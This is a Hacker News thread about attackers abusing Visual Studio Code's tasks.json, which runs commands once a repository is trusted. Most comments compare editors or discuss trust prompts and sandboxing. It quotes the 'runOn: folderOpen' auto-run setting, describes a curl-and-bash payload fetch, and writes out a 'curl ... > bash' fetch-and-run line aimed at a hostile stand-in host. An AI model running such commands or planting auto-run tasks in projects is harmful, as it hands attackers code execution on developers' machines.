9 ms·

Threat actors expand abuse of Microsoft Visual Studio Code

291 points by vinnyglennon 9mo ago

TheAdamist 9mo ago
Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects. Theres been several posts about infected projects by fake recruiters here in the last year or two. Im guessing the answer is probably Java is why eclipse is out of favor.
- SV_BubbleTime 9mo ago
  Wild. I would quit my job and start selling jam at the Farmer’s Market before I went back to Eclipse! :)
  - deleted 9mo ago
    [deleted]
- doodlesdev 9mo ago
  > everything seems worse than eclipse I would say the answer is that's not the general perception of the software. I'm personally migrating out of VSCode, because having to use the OpenVSX registry to have open-source builds makes me mad (I've since migrated to Zed for now, since I've never adapted well to neovim nor emacs). In general, I believe most people see VSCode as "good enough". Maybe not the best text editor, but it's good enough at everything it does and extensible enough to the point that there's really no point to go for anything else unless you have a really good reason to. > Im guessing the answer is probably Java is why eclipse is out of favor. My previous answer is thinking about editors in general. But in the case of Eclipse I'd say you're right LOL.
  - jen20 9mo ago
    “Java” does not explain why Eclipse is irrelevant where IntelliJ is thriving.
  - com2kid 9mo ago
    People forget that there was a period of time during which the Java runtime installer tried to install actual adware. You had to jump through hoops to deselect adware from being forced onto your machine, it was infuriating. Setting up a new machine, I could choose between Eclipse (free, took forever to open, slow, asked me a million questions before it let me start working) or Visual Studio (cost money, incredibly powerful, written in C++ and was really damn fast.)
    - jhasse 9mo ago
      Visual Studio is mostly written in C# btw.
      - com2kid 9mo ago
        Back in 2005 it was mostly in C++ and it was blazing fast. IMHO VS 2005 was the most performant edition. I never liked VS 2003, felt bloated in comparison.
- reaperducer 9mo ago
  why is VS code the defacto answer nowaday? 1. It's free 2. A million plug-ins Personally, I don't use it because it's so dog slow.
  - mhuffman 9mo ago
    I have noticed that Antigravity is lightening fast, wonder what magic they are using?
  - josephg 9mo ago
    > A million plug-ins > I don't use it because it's so dog slow. You might find it runs better with fewer plugins.
    - godelski 9mo ago
      Load time is in seconds, even with the program cached. I can still load vim with a ton of plugins[0] and still load a project in a few hundred milliseconds. Maybe VS Code is faster with fewer plugins but it's still "dog slow" to load and run. Only thing I'm "missing" in vim is the bloat [0] personal I only use a handful but I've played around because why not
      - rmunn 9mo ago
        With LazyVim (requires NeoVim) and its load-on-demand architecture, startup time usually stays below 50 milliseconds even with a ton of plugins. Below 50ms is fast enough that it feels instant. Aliasing `nvim` to `n` in my ~/.bash_aliases just makes it even faster. cd to a project directory, run `n .` and I'm looking at the NeoVim file explorer plugin for that project directory. No break in thought flow, no standing up to get coffee while the IDE loads, just keep going.
        vanviegen 9mo ago
        Your focus on startup speed feels really alien to me. When working on a project I just keep vscode open. I reboot maybe once a week and starting vscode again takes about a second, and then maybe 10s of seconds of background processing, depending on the project size, for the language server to become fully operational. That's more than good enough for me. I've done a lot of shell-driven development in the 00s though, and I remember it did involve frequently firing up vim instances for editing just a single file. I no longer understand the appeal of that approach. Navigating between files (using fuzzy search or go-to-definition) is just a lot faster and more convenient.
- eikenberry 9mo ago
  Seems very odd to me that someplace would force the use of a particular development tool. I've seen it only one time while interviewing, where they wanted everyone to have identical setups so they could easily hop onto each others computers when needed... it was weird and I took it as a red flag and didn't follow through them them.
  - userbinator 9mo ago
    That is a massive red flag to me too. They are basically saying "you are identical to everyone else, and easily replaced."
    - doubled112 9mo ago
      Wanting to be able to use anybody's machine is very strange, agreed. From a support/IT perspective though, the closer everybody's machine is, the easier the job is. The last software shop I worked at, we had a default set of tools and configs. It was a known happy path. You were allowed to adventure off of that path, but you were mostly on your own.
      - Alupis 9mo ago
        Devcontainers[1] or some similar technology are a must. Use whatever specific IDE you want, but the development environment itself should be identical across everyone on the team. No more "works on my computer" issues. The environment is always identical. [1] https://containers.dev/ https://containers.dev/
      - MaulingMonkey 9mo ago
        > Wanting to be able to use anybody's machine is very strange, agreed. Very useful if people are struggling to create reliable repro steps that work for me - I can simply debug in situ on their machine. Also useful if a coworker is struggling to figure something out, and wants a second set of eyes on something that's driving them batty - I can simply do that without needing to ramp up on an unfamiliar toolset. Ever debugged a codegen issue that you couldn't repro, that turned out to be a compiler bug, that you didn't see because you (and the build servers) were on a different version? I have. There are ways to e.g. configure Visual Studio's updater to install the same version for the entire studio, which would've eliminated some of the "works on my machine" dance, but it's a headache. When a coworker shows me a cool non-default thing they've added a key binding for? I'll ask what key(s) they've bound it to if they didn't share it, so we share the same muscle memory.
- dfajgljsldkjag 9mo ago
  Eclipse is not safer it just has fewer people looking for holes in it. The problem is not the software but how we trust code from the internet. Even if you used Eclipse a fake recruiter could still trick you into running a bad script. We cannot fix social engineering by changing the text editor.
- mr_toad 9mo ago
  > Im guessing the answer is probably Java is why eclipse is out of favor. Some people just want a text editor, whereas eclipse is “an IDE and Platform”.
  - IshKebab 9mo ago
    I don't think that's really why VSCode succeeded or Eclipse failed. Eclipse failed because it was slow and janky and had abysmal UX and it only supported Java well. VSCode succeeded because it has a much more sane UX, it's way less janky, it's highly extensible and language neutral.
- josephg 9mo ago
  > Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Is eclipse good now? I used it 15 years ago. It took ages to start. It was a memory hog and it was dog slow besides. My entire team got RAM upgrades on our computers because the default company issued machines (which were quite good at the time) didn't have enough RAM to use eclipse properly. I can't imagine why it went out of favour...
  - Alupis 9mo ago
    How much ram did you have, and when was this? I remember being extremely happy with Eclipse on an 8GB machine - this was back in the jvm7 days. Heck, I did jvm6 development with Eclipse on Windows XP with 4GB of ram and was content. Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE. For years and years I had people telling me how great IntelliJ was, etc. I eventually switched - lo and behold, IntelliJ had just as many quirks (even some of the same) as Eclipse.
    - Semaphor 9mo ago
      I used eclipse in university around that time (2005), then first switched to netbeans which I already liked more, then discovered IntelliJ and have been using that ever since. Everything about Eclipse felt worse in ways neither of the others did, but all of that was still during university (though I now use JetBrains professionally).
    - morcus 9mo ago
      > Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE. More like Eclipse struggled on the kind of hardware that people could afford as a student. My main memories of Eclipse (15 years ago at this point) are waiting forever for it to start up, though it was pretty adequate after that.
      - DrewADesign 9mo ago
        Right, but it’s essentially a fancy text editing environment. It should never have needed anything but barebones hardware.
- forrestthewoods 9mo ago
  I’ve never written a line of Java in my life. Why would I ever use Eclipse? VSCode is defacto standard because it’s kinda mediocre but works ok enough for every language and every platform. Microsoft created and popularized LSP so VSCode isn’t a single language IDE. I use a mixture of code editors. My favorite is probably 10x but it only works with C++. So VSCode is just a reasonably standard unless a different editor is better for a specific use case.
- com2kid 9mo ago
  I switched to VSCode because it has a free editor with a really great jump to file hotkey. I remember when the big VS added jump to file but it was so damn miserably implemented as to be useless. Having worked at Microsoft for a decade, the most frequent way I navigated a large source tree was dir /s *partialfilename*.* Then again while I was there, most code bases couldn't even open in Visual Studio. (highly team dependent, I was mostly on older C/C++ code bases.) Some teams at MS paid for an editor called Source Insight, which indexed your code and could also parse C #defines and other preprocessor macros, which was super unique and powerful. It had an incredibly powerful symbol and fuzzy filename search capabilities, I'd frequently have Source Insight open just so I could find where in a folder structure a file was and then I'd open it up in my preferred editor. Back when I got my first SSD the largest boost to my dev productivity was not in compile times (large C++ code bases tend to template bound more so than IO bound), it was how fast I could find files in the directory structure. I'm sure Vi/Emacs users have some magic set of plugins that do all of this for them, but as someone back on Windows back in the 2000s and 2010s, the supported MS tooling was horrible at all this. Then VS Code comes along with amazing fuzzy file name matching. Holy cow. Sure it is missing 90% of the power of real Visual Studio (being able to have a debugger step from front end web code to your backend and then into stored procedures in SQL, running on a remote machine, that your debugger transparently auth'd to, is something Microsoft had working 20 years ago and would be considered impossible dark magic with today's tooling), but wow can I navigate a project quickly!
  - danielodievich 9mo ago
    Site license to source insight was something I missed badly after Microsoft. Bought my own copy. It did wonders when looking at Snowflake monorepo, which was otherwise impossible to understand . Great piece of software, still going strong too.
  - m-schuetz 9mo ago
    Same here! Easily jumping between files is one of the best features. I always have VS and vscode open simultaneously, doing about 99% of the work in vscode and only using VS to compile and to debug.
- MaulingMonkey 9mo ago
  I bucket Eclipse under "heavyweight IDE". I used to use it, plus the CDT plugin, for my C++ nonsense. Then Visual Studio's Express and later Community SKUs made Visual Studio free for ≈home/hobby use in the same bucket. And they're better at that bucket for my needs. Less mucking with makefiles, the mixed ability to debug mixed C# and C++ callstacks, the fact that it's the same base as my work tools (game consoles have stuff integrating with Visual Studio, GPU vendors have stuff integrating with Visual Studio, the cool 3rd party intellisense game studios like integrates with Visual Studio...) Eclipse, at least for me, quickly became relegated to increasingly rare moments of Linux development. But I don't always want a heavyweight IDE and it's plugins and load times and project files. For a long time I just used notepad for quick edits to text files. But that's not great if you're, say, editing a many-file script repository. You still don't want all the dead weight of a heavy weight IDE, but there's a plethora of text editors that give you tabs, and maybe some basic syntax highlighting, and that's all you were going to get anyways. Notepad++, Sublime Text, Kate, ...and Visual Studio Code. Well, VSC grew some tricks - an extension API for debuggers, spearheading the language server protocol... heck, I eventually even stopped hating the integrated VCS tab! It grew a "lightweight IDE" bucket, and it serves that niche for me well, and that's a useful niche for me. In doing so, it's admittedly grown away from the "simple text editor" bucket. If you're routinely doing the careful work of auditing possibly malicious repositories before touching a single build task, VSC feels like the wrong tool to me, despite measures such as introducing the concept of untrusted repositories. I've somewhat attempted to shove a round peg into a square hole by using VSC's profiles feature - I now have a "Default" profile for my coding adventures and a "Notes" profile with all the extensions gone for editing my large piles of markdown, and for inspecting code I trust enough to allow on disk, but not enough to autorun anything... but switching editors entirely might be a better use of my time for this niche.
- vbezhenar 9mo ago
  For me vscode is super-lightweight and at the same time has enough functionality. I didn't use Eclipse for many years, but from my memory it was super-heavyweight. And it didn't really support anything except Java. Interestingly Java is the only language that I've found vscode support poor, so I keep buying Idea license exclusively for Java projects. For rest of languages that I use (JS/TS, Go, Python, Shell, YAML, XML) I'm using vscode and happy about it. In recent years vscode starting to get bloated, mostly with AI stuff. But so far I can disable everything AI with a single setting and it works good afterwards. I'd prefer for all AI features to be contained in a separate plugin that I can just not install, but I guess managers these days want to shove AI in everyone's throat. Another good thing about vscode is that its written with JavaScript and can be launched in browser, so in the future I want to put my development environment in the browser, but so far I didn't do that.
- atq2119 9mo ago
  My personal reason for switching some years ago was the excellent remote session support via ssh. I haven't reevaluated that choice in a while, but that plus LSP support (and to a lesser extent ML Auto-complete) are must-haves for me nowadays.
- Avicebron 9mo ago
  The only thing that matters is extensibility/customization and speed. I want the lightest, most customizable thing that isn't emacs (for real reasons, trying to set up emacs at work is too much of pain in the ass) as my single pane of glass on any OS I care to use. If it can't do that, it doesn't live long.
  - rapind 9mo ago
    I want the lightest, most customizable thing, that is also Vim. Thank god there's Vim for that. (cloning my dotfiles for instant setup on a new box)
    - Avicebron 9mo ago
      I mean, sure, you could do that. No one said being competent was easy. Have you tried lisp?
- jonwinstanley 9mo ago
  As I remember it, VS code was Microsoft’s response to Sublime. Sublime was exceptionally popular for web developers throughout the 2010s. Sublime was maintained by a single person as far as I know. VS code was pretty much a copy of Sublime but with a much better extensions system and relatively quickly there were some great plugins that made VS code the de-facto editor for web development.
  - glenngillen 9mo ago
    Wasn’t it a copy of Atom?
    - jonwinstanley 9mo ago
      Yes, Atom was an earlier shot at building a Sublime competitor too. I don’t know how usage of Atom compared to Sublime, but within my friends and colleagues it was only when VS code got good that people started moving away from Sublime.
      - fleebee 9mo ago
        I can only speak for $MY_JOB, but I'm pretty sure everyone was on Atom before VSC "got good". Atom had a good plugin ecosystem; what really drove the change was Atom's horrible performance issues whereas VSC was snappy and responsive. What I believe also influenced the shift was that at that point in time MS had accumulated a decent amount of developer trust by giving us TypeScript and later on by acquiring GitHub. They appeared to care and have the right vision for open source.
        jonwinstanley 9mo ago
        Ahh ok, interesting. I bounced off atom immediately but VS code got me.
  - pjmlp 9mo ago
    Nope it started as a Web IDE, going against Atom was their pivot to win market share, there are a few talks from the team if you search for VSCode history.
- blackoil 9mo ago
  Because it is fast enough, easy to onboard to with sane defaults. MS provided initial plug-ins and the ecosystem developed. Threat model described is not unique to VS Code
- dangus 9mo ago
  It's the license. The MIT license is what makes VSCode the defacto answer. It also runs on the web, which makes it extremely convenient to toss into...web things. It's the code editor for the Google Cloud console, the Lambda web console, the GitHub web editor, and so on. I'm going to guess that Eclipse doesn't have the same amount of security issues because it's not a popular target. Everyone (relatively speaking) is using VSCode or something based on it.
- closeparen 9mo ago
  Never liked Eclipse, but I’ve been forced to use VSCode over my preferred JetBrains IDEs because it is the only modern mainstream editor with a competent client-server mode. As in, actually rendering the UI locally while doing all the code indexing and intelligence on the server. Corporate world would much rather maintain disposable remote VMs than help you unfuck your laptop after whatever required security upgrade installs the wrong version of a scripting language and sends everything to hell.
  - sakjur 9mo ago
    Have you tried Jetbrains Gateway? I’m curious whether it’s insufficient or just too recent, as I’ve eyed it a few times.
    - no-name-here 9mo ago
      For those unfamiliar, Gateway is essentially a thin local client for Jetbrains IDEs to run remotely. The remote functionality at least is free. https://www.jetbrains.com/remote-development/gateway/ https://www.jetbrains.com/remote-development/gateway/
    - TiredOfLife 9mo ago
      Gateway is discontinued
    - closeparen 9mo ago
      It’s not as dumb a client as VNC, but it’s close. Basic operations like typing and scrolling will stutter and lag if your connection is less than perfect. VSCode’s client is really VSCode from a UI perspective.
  - mrkeen 9mo ago
    Yikes, sounds like hell. Corporate never seems to get that git is the kind of interface you want between your computer and their servers. Then when you trash your computer you can just get it back to the state of being able to git.
- bitwize 9mo ago
  Thing that IntelliJ and even NetBeans have going for them is that they seem like tools for getting work done. Eclipse puts more emphasis on being a platform which means you have to download and configure plugins just to get started. Great if you're a corporate shop with a standard setup that's force-pushed to every machine. Not so much if you're just getting started or working on side projects or in a startup, which is how languages and frameworks gain mindshare in the web era. Visual Studio Code—I dunno. It's an editor more than an IDE. It lets Webdev Andys create an empty directory, put an index.ts in there, and get started right away. Yes, WebStorm does the same, but VS Code comes with decent multilanguage support for free. It's like vim or Emacs but crappier and more bloated, but a lot of people don't care about that.
- m-schuetz 9mo ago
  I've also used Eclipse in the past but almost exclusively used vscode in recent years. It's just a phenomenal text editor. It's got fantastic multi-line selection and editing tools and searching for files is instant and you don't even need to be fully accurate with the filename. Nowadays I hardly ever use the sidebar to look for the file, I just type thr ctrl+e shortcut and insert several letters of the file and I instantly get the result. It's a small thing with a huge impact. VS, for comparison, lags a few seconds when searching files, and it misses files that are not imported into the workspace. That difference makes VS useless to me.
- mrkeen 9mo ago
  It just happens. I was happy on netbeans, then I was forced over to eclipse, which I got used to. Then I got forced over to intellij. I'm still pissed about that (even though it's rider for me these days). I don't mind VSCodium that much because I can put my tooling on the side (like a good unix fanboy) instead of hoping that jetbrains reimplements every other tool. Ag, grep beat IDE searches any day. But yeah we have reach a stupid point in the industry where VSCodium asks me to trust a codebase before it will let me edit it.
- gt0 9mo ago
  It's free, it has support for loads of languages, and it's kind of fashionable. Personally I'm kind of lukewarm on VS Code, it's fine, but CLion, Visual Studio Proper, and RustRover are better for me. I see why people use it though, it's not a bad editor at all. For Java, I'm all over IntelliJ.
- pjmlp 9mo ago
  VSCode main architect is one of the Eclipse authors, Erich Gamma. Other than that, it is more fashionable to ship Chrome with applications and JavaScript is hot. /s Eclipse remains my main Java IDE at work.
- gucci-on-fleek 9mo ago
  I don't really like VS Code either, but I personally use it because I tend to jump between a half-dozen semi-obscure languages, and VS Code is the only [0] editor that supports all of them. [0]: Vim and Emacs have almost as good or slightly better language support, but I prefer GUIs over TUIs.
- sfn42 9mo ago
  To myself and many others, vscode is not the defacto answer. JetBrains is. IntelliJ was miles ahead of eclipse last time I checked. Rider is miles ahead of Visual Studio. WebStorm is miles ahead of vscode for js etc. It's not even a competition, to me. I've had to use Visual Studio instead of Rider for work the past year and it's been a very bad experience. The biggest difference is JetBrains intellisense feels like it's reading my mind, I'll just type a couple characters and hit tab most of the time. Visual studio on the other hand has the worst intellisense I can imagine. It very frequently just messes up what I'm doing - I'll write what I want correctly, hit space and VS will just change it to something entirely different and import a package while it's at it. It's incredibly annoying. And when I actually want to use auto complete, say for example I've declared a variable on the line above and I want to use it, I'll write a couple characters and then without fail the variable I just declared on the line above is like option 6 down the list behind a bunch of crap that doesn't even make sense in the context at all. And as if it wasn't enough that the IDE is crap when it's working correctly, it very frequently craps out and just stops providing syntax highlighting and such in .razor files, or showing errors in files that compile just fine, forcing me to restart it and delete the .vs folder. Like every day. Personally I think the only people who prefer other products than JB are people who don't know what they're missing. JB is literally just better in pretty much every way. At least the products I've used. I think I'll turn down the next job that asks me to use VS.
- bilekas 9mo ago
  This is so insane to me. Eclipse is... Fine for Java in the sense Visual Studio is for dotnet. But man can they both be slow. Use case depending sometimes you just need a quick editor, thats why sublime had and probably still has a huge userbase, its fast startup and flexibility. Vim, emacs and derivatives of it are the same story. I can't imagine ever opening up eclipse to edit a zig/go/js file or project. It's too bloated. The answer is neovim anyway. That's all anyone needs. /s
  - trelane 9mo ago
    Emacs is a full IDE, not just a quick one-off editor. Its power comes from having everything scriptable from the ground up. Contrast this with the modern Extension concept, where there is a hard line between the editor's code and any changes you might want to make to its behavior. I think vim is probably similar, but I've not gotten into it that much.
    - bilekas 9mo ago
      Exactly, and infact vim is very simular, neovim in my case extensible through lua scripts as an example. It's as light or feature packed as I like. Contrast that to Eclipse and Visual Studio (not vsCode) and it's clear why the larger IDE's are falling out of favour.
- tannhaeuser 9mo ago
  > Im guessing the answer is probably Java is why eclipse is out of favor. Dude, Eclipse has been out of favor for well over ten years now due to Jetbrains IDEs (IntelliJ IDEA).
- simoncion 9mo ago
  I loved Eclipse. I still like it quite a lot. I stopped using it because none of the plugins for the languages I was using at the time (Ruby, Python, Erlang) were either worth a damn, or getting updated to track new language features. I started using VSCode because IntelliJ-family IDEs will report incomplete search results as complete when they are rebuilding their search indices. To put it another way, they will tell you that a string that definitely appears in the project does not appear, if they haven't gotten around to re-adding the files that contain that string to the search index. This to me is intolerable behavior. Others find it perfectly acceptable.
- zombot 9mo ago
  If you did webshit in eclipse, especially with NPM involved, it would be just as bad. Running arbitrary code from a downloaded bundle seems normal in that world. > Im guessing the answer is probably Java is why eclipse is out of favor. I don't get the connection, but Java had log4j, i.e. a remote code execution vulnerability.
- DrBazza 9mo ago
  > Why is VS code the defacto answer nowadays? For what I do, there's no reasonable alternative at the moment. I'm sure someone will correct me, but it's the only editor that correctly (for some definition of correct) allows remote editing and devcontainers: [desktop OS] -> ssh -> [dest box] [desktop OS] -> [devcontainer] [desktop OS] -> ssh -> [dest box] -> [devcontainer] [desktop OS] -> ssh (jumphost) -> [dest box] -> [devcontainer] I won't name and shame other editors (or IDEs), but either they simply can't do that, or their performance is absolutely, shockingly, abysmal.
  - boomlinde 9mo ago
    I would rather solve file access at an entirely different level. A filesystem is a reasonable, editor-agnostic abstraction for this, and I can use sshfs to mount a remote directory over SSH in a way that's invisible to whatever tools I prefer to use to edit the files. If you have a jumphost chain, you can configure that in the SSH config. I don't know what a devcontainer is exactly, but if it's a container in the sense that it runs a Linux development system, I would investigate whether that, too, could easily be set up for access via SSH or mounted locally through some other mechanism.
    - DrBazza 9mo ago
      File access isn't the same as tool access. You need to run tools on your ssh host as well. And a devcontainer does indeed equal a (docker) container. The name is very specific and describes shipping a full developer environments so that 'you' do not have to install gcc-toolset-15, or boost 1.83, or mold, or python 3.11, and so on. https://containers.dev/ https://containers.dev/
      - boomlinde 9mo ago
        > File access isn't the same as tool access. Running tools remotely isn't the same as remote editing, so you'll have to forgive the misunderstanding. > You need to run tools on your ssh host as well. `ssh user@remote tool`. Indeed, the tool you run on the remote host could be a text editor in itself.
- elzbardico 9mo ago
  Eclipse was always a confusing product. It was a bastard child of Visual Age for Java from IBM, which was already a bastard of IBM's Visual Age for Smalltalk. Visual Age for Java had some quirkiness being a Smalltalk IDE adapted to Java development (for example, the concept of a file and a hierarchical filesystem itself was definitely a second class citizen in Visual Age) and eclipse kind of rounded those rough edges. But Eclipse became a victim of late 90s/early 2000s academic driven overengineering with overly complex/bureaucratic stuff like OSGI, and the support for the absurdly bureaucratic java development ecosystem at that time.
dfajgljsldkjag 9mo ago
It is scary that a text editor can run hidden code just by opening a folder. We traded our safety for convenience and now we are paying the price. Users will always click the button to trust a file if they think it helps them work faster. We cannot blame them when the software design makes it so easy to make a mistake.
- EE84M3i 9mo ago
  Doesn't it ask you if you trust a folder when you open it?
  - dfajgljsldkjag 9mo ago
    You are right that the computer asks you. But people click yes because they are used to ignoring warning signs. The software relies on people making perfect choices every time and that never happens.
    - whs 9mo ago
      It should tell me what should I look before I trust it. Not trusting the workspace means I might as well use Notepad to open it. I wouldn't think that tasks.json include autorun tasks in addition to build actions.
  - esseph 9mo ago
    Who remembers autorun.exe
  - IshKebab 9mo ago
    Yeah but it's one of those useless permission requests along the lines of "Do you want this program to work or not?" They're pawning off responsibility without giving people a real choice. It's like the old permission dialog for Android that was pretty much "do you want to use this app?". Obviously most people just say yes. There's a reason Google changed that. To be fair I'm sure Microsoft would switch to a saner permission model if they could but it's kind of too late.
internet2000 9mo ago
It's Macro-enabled Office files all over again.
- RGamma 9mo ago
  Next up: Javascript virtual operating systems.
  - p0w3n3d 9mo ago
    we need to go deeper
  - falcor84 9mo ago
    That's essentially what WASM does, no?
  - hu3 9mo ago
    Deeper: "Replacing my OS process scheduler with an LLM" https://news.ycombinator.com/item?id=46435142 https://news.ycombinator.com/item?id=46435142
- javcasas 9mo ago
  autorun.inf
sciencejerk 9mo ago
Is tasks.json automatically run? I thought additional user interaction was required?
- fulafel 9mo ago
  The article doesnt' claim it's executed straight up either ("can result") but it's pretty ambiguous: > When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. In the screenshot the task is named "node" - so it's a bit like embedding a malicious Makefile target as a backdoor. Except harder to spot since it's in a obscure .vscode/somethingsomething json file. (And probably you can easily fool GH Copilot to run it)
- zvqcMMV6Zcr 9mo ago
  Does it matter that much? I don't think there is any "safe" build system. Users will try to build project sooner or later. With Maven it is easy to add a plugin with harmful payload as dependency, you won't spot it in "source", unless you carefully review every dependency. IDEs need containers/isolation and they need it now. Instead we got that "Do you trust this project" dialog.
- MaulingMonkey 9mo ago
  You can specify: "runOptions": { "runOn": "folderOpen" } In tasks.json, which I use for automatically `git fetch`ing on a few projects. While I don't recall it's interaction with first run / untrusted folder dialogs, it's entirely automatic on second run / trusted folders.
geophph 9mo ago
I wonder what happens if you open the repo in VSCode Online through GitHub?
bethekidyouwant 9mo ago
tasks.json is the problem here, who thought that was a good idea?
- paul_h 9mo ago
  Agree. But the first build you do after that clone/checkout is risky too. Maybe not as wide open, as the build-tool makers are a line of defence if they're acting on classes of vuln.
jmyeet 9mo ago
Maybe I'm a dinosaur in this regard but I don't like nor trust any of these desktop application that are really just Web technologies with an embedded browser eg Discord. They're resource hogs and the attack surface is huge. You're basically betting that automatic code that's run won't find a vulnerability and escape the sandbox from an entire browser. I have way more trust in Jetbrains IDEs and the JVM as a sandbox vs HTML/CSS/JS. Still, I'm always impressed at the ingenuity of the people who come up with these attacks and the people who find them.
- josephg 9mo ago
  Yep. You’d think using web tech would make it really easy to sandbox any 3rd party JavaScript that gets run. But I suppose sandboxing is simply too inconvenient.
  - pjmlp 9mo ago
    Because that isn't how it happens, the plugin model relies on external processes with OS IPC, most of them rely on basic process security model, and aren't even implemented in JavaScript due to performance.
- winterqt 9mo ago
  Won’t IDEA automatically index/execute some Gradle code when possible? As soon as you execute an arbitrary binary/script from the project directory, the isolation of the JVM doesn’t matter.
  - jmyeet 9mo ago
    This particular vulnerability relied upon passing the require function to a scope to allow the loading and running of arbitrary code. This is what I tend to call a blacklist approach. You're saying in this sandbox certain features can't be used because they will allow escape. The alternative is a whitelist approach. Instead of disallowing dangerous features you're enabling only the features you need. So a build system like Gradle or Maven (same thing really) has a limited set of primitives it is allowing access to. It's not loading, say, the entire JVM and all the Java core libraries and then listing all those you can't use. You see the difference? If nothing else, the blacklist approach is going to fail when the virtual machine (or whatever) adds a new API call upstream and it's added without intent to the sandbox by simply doing an update where nobody has thought to disable it. Another way of looking at this is Gradle isn't being compiled into Java bytecode and run in the same environment as the IDE (sandboxed or otherwise). That is inherently riskier.
rvz 9mo ago
A great reason why you should switch to Zed.
- ethersteeds 9mo ago
  I was reminded of this comment when I saw the latest Zed release removing a list of tool calls from the default always_allow list. Yikes! https://github.com/zed-industries/zed/compare/v0.220.2...v0.220.3#commits_bucket https://github.com/zed-industries/zed/compare/v0.220.2...v0....
blackoil 9mo ago
Between long lost of dependencies, LLM and these threat models; developing inside containers should be default workflow.
fizlebit 9mo ago
I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environment stuff just spins up in the background, but there is a good debugger, logging, developer ide, good rendering, eg 3d graphics, separate projects are separate, and when you spin down a game (read app or project) everything spins down.
- fulafel 9mo ago
  It's a good idea so it can't take over your dev machine. But not sufficient since it'll still F over whatever code you are working on resulting in a backdoored app getting deployed + infected dev scripts etc bringing interesting times to your teammates, downstream open source project users, your api keys and cloud credentials getting compromised etc.
- CaRDiaK 9mo ago
  Apple did actually introduce its own container framework in Tahoe, but it’s still early days. https://github.com/apple/container https://github.com/apple/container
  - solarkraft 9mo ago
    These are Linux containers in a VM, I’m pretty sure GP is talking about native macOS containers. Which: They do actually have some container-like sandboxing tech around applications (“iTerm wants to access your downloads folder”).
    - retsl 9mo ago
      Yes, afaik macOS apps could theoretically be sandboxed as well (or close to) as iOS apps are. You can find the policies for many first-party apps and deamons in /System/Library/Sandbox/Profiles. But in practice most third-party apps aren't. https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-policy/ https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-poli... and https://bdash.net.nz/posts/sandboxing-on-macos/ https://bdash.net.nz/posts/sandboxing-on-macos/ are good introductory articles.
Animats 9mo ago
When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. Sigh. It's so Microsoft to just run random stuff. Of course, in the Linux world, we have "Install with" curl https://www.hostilecode.com > bash
AmazingTurtle 9mo ago
"Code provides features that may automatically execute files in this folder. If you don't trust the authors of these files, we recommend to continue in restricted mode as the files may be malicious." If you proceed with "Trust Project" you're at your own fault.
- perryizgr8 9mo ago
  The "trust project" feature has been designed to be so extremely intrusive and annoying that the first thing I do is to completely disable it whenever I install VS Code on a new computer. This "solution" was just done to tick some box and put the blame on the user when a security incident happens. It's pretty similar to Windows Vista where it annoyed you with a disruptive popup so many times during the normal course of actions that most people ended up disabling the whole UAC system. Overall security goes down, and Microsoft has a nice excuse.
  - Dylan16807 9mo ago
    Vista's annoyance had a purpose, to get program developers to change things to run without escalation. They didn't want you disabling UAC, and these days it breaks things to disable UAC. By only having an upfront project-wide toggle, VS Code is much worse.
    - perryizgr8 9mo ago
      Yeah imagine if at boot Windows Vista gives you the UAC "Do you TRUST all the software you are going to run today?" and if you say yes then it just allows any random code to do whatever it wants.
  - wvenable 9mo ago
    > It's pretty similar to Windows Vista where it annoyed you with a disruptive popup so many times during the normal course of actions that most people ended up disabling the whole UAC system. Nothing changed post-Vista. It's exactly the same system in Windows 11 doing exactly the same thing. It did, however, get developers to change how they do things. To be honest, the solution here is probably more dialogs like this, not less. Having one single "Trust everything here but if you don't then nothing will work" box is hardly a good way to go.
jhancock 9mo ago
In VS Code settings search for "tasks" you will find "Task: Allow Automatic Tasks"...turn it off. Anything else that should be locked down?
- dude250711 9mo ago
  Yes, uninstall the whole thing. It's just a Chromium covered with a bunch of JavaScript.
- exitb 9mo ago
  Even if you lock everything now, what if the thing autoupdates with new helpful "features". You can't patch bad development culture.
- Muromec 9mo ago
  Sounds like autorun on usb drives all over again. They cant learn
  - tclancy 9mo ago
    I think that's a bit ungenerous: there is a push and pull between security and seamless user experience and it's never obvious where the line should be set. You really only figure out which way to move it after someone complains.
- gus_ 9mo ago
  On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely Unrestricted outbound connections, specially from curl/wget/bash
- StingyJelly 9mo ago
  This may only provide a flalse sense of security. Afaik, there is no way to disable workspace settings taking priority over user settings, so a malious repo can easily override them and reenable automatic tasks.
pmontra 9mo ago
My first reaction has been: when we install some node modules, import them and eventually run them, we do grant local execution permissions to whatever the authors of those modules coded in their scripts, right? More or less every language already suffer from the same problem. Who vets the code inside a Ruby gem, a Python package, etc? Add your favorite language. However I did not know about tasks.json (I don't use VSC) and when I googled it I found the example at https://code.visualstudio.com/api/extension-guides/task-provider https://code.visualstudio.com/api/extension-guides/task-prov... and that is about running rake (Ruby.) So this is a little worse than installing malicious packages: the trigger is opening a malicious repository from the editor. Is this a common practice? If it is, it means two things: 1) the developer did not take an explicit choice of installing and running code, so even the possibility of an attack is unexpected and 2) it affects users of any language, even the ones that have secured package installation or have no installation of packages from remote.
- echoangle 9mo ago
  You get asked if you trust the folder you’re opening every single time you open a new folder in VsCode. Everyone probably always just says yes but it’s not like it doesn’t tell you that opening untrusted folders is dangerous.
  - sroussey 9mo ago
    This is when I say no. Then copy-paste my default .dev-container directory and reload.
  - mjdv 9mo ago
    Until this post it wasn't clear to me that just opening and trusting a directory can cause code to be run without taking any other explicit actions that seem like they might involve running code, like running tests. My bad, but still!
    - andy_ppp 9mo ago
      What is the stated reasoning for arbitrary code execution as a feature? Seems pretty mad to me.
